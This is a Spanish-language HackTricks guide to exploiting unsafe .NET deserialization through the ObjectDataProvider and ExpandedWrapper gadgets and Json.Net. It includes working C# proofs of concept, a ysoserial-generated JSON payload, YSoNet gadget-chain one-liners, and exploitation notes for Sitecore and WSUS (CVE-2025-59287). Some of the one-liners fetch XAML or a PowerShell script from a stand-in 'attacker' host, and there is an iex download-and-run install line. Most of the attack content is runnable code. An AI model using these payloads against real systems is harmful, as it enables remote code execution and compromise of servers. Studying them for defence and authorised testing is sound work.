Deserialización básica de .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 11 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Esta entrada está dedicada a entender cómo se explota el gadget ObjectDataProvider para obtener RCE y cómo las librerías de Serialización Json.Net y xmlSerializer pueden ser abusadas con ese gadget.
Gadget ObjectDataProvider
De la documentación: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite envolver un objeto arbitrario, usar MethodParameters para establecer parámetros arbitrarios, y luego usar MethodName para llamar a una función arbitraria del objeto arbitrario declarada usando los parámetros arbitrarios.
Por lo tanto, el objeto arbitrario ejecutará una función con parámetros mientras se deserializa.
Cómo es posible
El espacio de nombres System.Windows.Data, que se encuentra dentro de PresentationFramework.dll en C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, es donde se define e implementa ObjectDataProvider.
Usando dnSpy puedes inspeccionar el código de la clase que nos interesa. En la imagen de abajo estamos viendo el código de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
.png)
Como puedes observar, cuando MethodName se establece se llama a base.Refresh(), veamos qué hace:
.png)
Ok, continuemos viendo qué hace this.BeginQuery(). BeginQuery es sobrescrito por ObjectDataProvider y esto es lo que hace:
.png)
Observa que al final del código está llamando a this.QueryWorke(null). Veamos qué ejecuta eso:
.png)
Observa que este no es el código completo de la función QueryWorker pero muestra la parte interesante: El código llama a this.InvokeMethodOnInstance(out ex); esta es la línea donde se invoca el método configurado.
Si quieres comprobar que con solo establecer el MethodName éste se ejecutará, puedes ejecutar este código:
Demo en C#: ObjectDataProvider dispara Process.Start
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Nota que necesitas agregar como referencia C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll para poder cargar System.Windows.Data
ExpandedWrapper
Al usar el exploit anterior habrá casos en los que el objeto va a ser deserializado como una instancia ObjectDataProvider (por ejemplo en DotNetNuke vuln, usando XmlSerializer, el objeto fue deserializado usando GetType). Entonces, no se tendrá conocimiento del tipo de objeto que está envuelto en la instancia ObjectDataProvider (Process, por ejemplo). Puedes encontrar más información sobre la DotNetNuke vuln aquí.
Esta clase permite specificar los tipos de objeto de los objetos que están encapsulados en una instancia dada. Por tanto, esta clase puede usarse para encapsular un objeto origen (ObjectDataProvider) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (ObjectDataProvider.MethodName y ObjectDataProvider.MethodParameters).
Esto es muy útil para casos como el presentado antes, porque podremos envolver _ObjectDataProvider** dentro de una instancia **ExpandedWrapper _ y cuando se deserialice esta clase creará el OjectDataProvider objeto que ejecutará la función indicada en MethodName.
Puedes comprobar este wrapper con el siguiente código:
Demostración en C#: ExpandedWrapper encapsulando ObjectDataProvider
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
In the official web page it is indicated that this library allows to serializar y deserializar cualquier objeto .NET con el potente serializador JSON de Json.NET. So, if we could deserializar el ObjectDataProvider gadget, we could cause a RCE just deserializing an object.
Ejemplo de Json.Net
First of all lets see an example on how to serializar/deserializar an object using this library:
Demo en C#: Json.NET serializar/deserializar
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abusing Json.Net
Usando ysoserial.net creé el exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
En este código puedes test the exploit, simplemente ejecútalo y verás que se ejecuta calc:
C# demo: Json.NET ObjectDataProvider exploitation PoC
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Cadenas de Gadgets .NET Avanzadas (YSoNet & ysoserial.net)
La técnica ObjectDataProvider + ExpandedWrapper introducida arriba es solo una de MUCHAS cadenas de gadgets que pueden aprovecharse cuando una aplicación realiza unsafe .NET deserialization. Herramientas modernas de red-team como YSoNet (y la más antigua ysoserial.net) automatizan la creación de grafos de objetos maliciosos listos para usar para docenas de gadgets y formatos de serialización.
A continuación hay una referencia condensada de las cadenas más útiles incluidas en YSoNet junto con una explicación rápida de cómo funcionan y comandos de ejemplo para generar los payloads.
| Gadget Chain | Idea clave / Primitiva | Serializadores comunes | YSoNet one-liner |
|---|---|---|---|
| TypeConfuseDelegate | Corrompe el registro DelegateSerializationHolder de modo que, una vez materializado, el delegate apunta a cualquier método suministrado por el atacante (p. ej. Process.Start) | BinaryFormatter, SoapFormatter, NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
| ActivitySurrogateSelector | Abusa de System.Workflow.ComponentModel.ActivitySurrogateSelector para eludir el filtrado de tipos en .NET ≥4.8 e invocar directamente el constructor de una clase proporcionada o compilar un archivo C# al vuelo | BinaryFormatter, NetDataContractSerializer, LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
| DataSetOldBehaviour | Aprovecha la representación XML heredada de System.Data.DataSet para instanciar tipos arbitrarios rellenando los campos <ColumnMapping> / <DataType> (opcionalmente falsificando el assembly con --spoofedAssembly) | LosFormatter, BinaryFormatter, XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
| GetterCompilerResults | En runtimes con WPF (> .NET 5) encadena getters de propiedades hasta alcanzar System.CodeDom.Compiler.CompilerResults, luego compila o carga una DLL suministrada con -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
| ObjectDataProvider (review) | Usa WPF System.Windows.Data.ObjectDataProvider para llamar a un método estático arbitrario con argumentos controlados. YSoNet añade una variante --xamlurl conveniente para alojar el XAML malicioso de forma remota | BinaryFormatter, Json.NET, XAML, etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
| PSObject (CVE-2017-8565) | Incrusta un ScriptBlock en System.Management.Automation.PSObject que se ejecuta cuando PowerShell deserializa el objeto | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Todos los payloads se escriben en stdout por defecto, lo que facilita canalizarlos hacia otras herramientas (p. ej. generadores ViewState, codificadores base64, clientes HTTP).
Compilar / Instalar YSoNet
Si no hay binarios precompilados disponibles en Actions ➜ Artifacts / Releases, el siguiente comando de una sola línea de PowerShell configurará un entorno de compilación, clonará el repositorio y compilará todo en modo Release:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
El compilado ysonet.exe puede encontrarse en ysonet/bin/Release/.
Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Un sink .NET práctico accesible en flujos autenticados del Content Editor de Sitecore XP:
- Sink API:
Sitecore.Convert.Base64ToObject(string)envuelvenew BinaryFormatter().Deserialize(...). - Trigger path: pipeline
convertToRuntimeHtml→ConvertWebControls, que busca un elemento hermano conid="{iframeId}_inner"y lee un atributovalueque se trata como datos serializados codificados en base64. El resultado se convierte a string y se inserta en el HTML.
Flujo HTTP de activación del sink de Sitecore autenticado
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: cualquier cadena BinaryFormatter que devuelva un string (los efectos secundarios se ejecutan durante la deserialización). Consulte YSoNet/ysoserial.net para generar payloads.
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
Case study: WSUS unsafe .NET deserialization (CVE-2025-59287)
- Producto/rol: Windows Server Update Services (WSUS) role en Windows Server 2012 → 2025.
- Superficie de ataque: endpoints WSUS alojados en IIS sobre HTTP/HTTPS en TCP 8530/8531 (a menudo expuestos internamente; la exposición a Internet es de alto riesgo).
- Causa raíz: deserialización no autenticada de datos controlados por el atacante usando formatters heredados:
GetCookie()endpoint deserializa unaAuthorizationCookieconBinaryFormatter.ReportingWebServicerealiza deserialización insegura víaSoapFormatter.- Impacto: Un objeto serializado manipulado desencadena una cadena de gadgets durante la deserialización, llevando a ejecución de código arbitrario como
NT AUTHORITY\SYSTEMbajo el servicio WSUS (wsusservice.exe) o el app pool de IISwsuspool(w3wp.exe).
Practical exploitation notes
- Descubrimiento: Escanea WSUS en TCP 8530/8531. Trata cualquier blob serializado pre-auth que llegue a métodos web de WSUS como un sink potencial para payloads
BinaryFormatter/SoapFormatter. - Payloads: Usa YSoNet/ysoserial.net para generar cadenas
BinaryFormatteroSoapFormatter(p. ej.,TypeConfuseDelegate,ActivitySurrogateSelector,ObjectDataProvider). - Linaje de procesos esperado en caso de éxito:
wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exew3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe
References
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited
- MSRC – CVE-2025-59287 advisory
- NVD – CVE-2025-59287
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks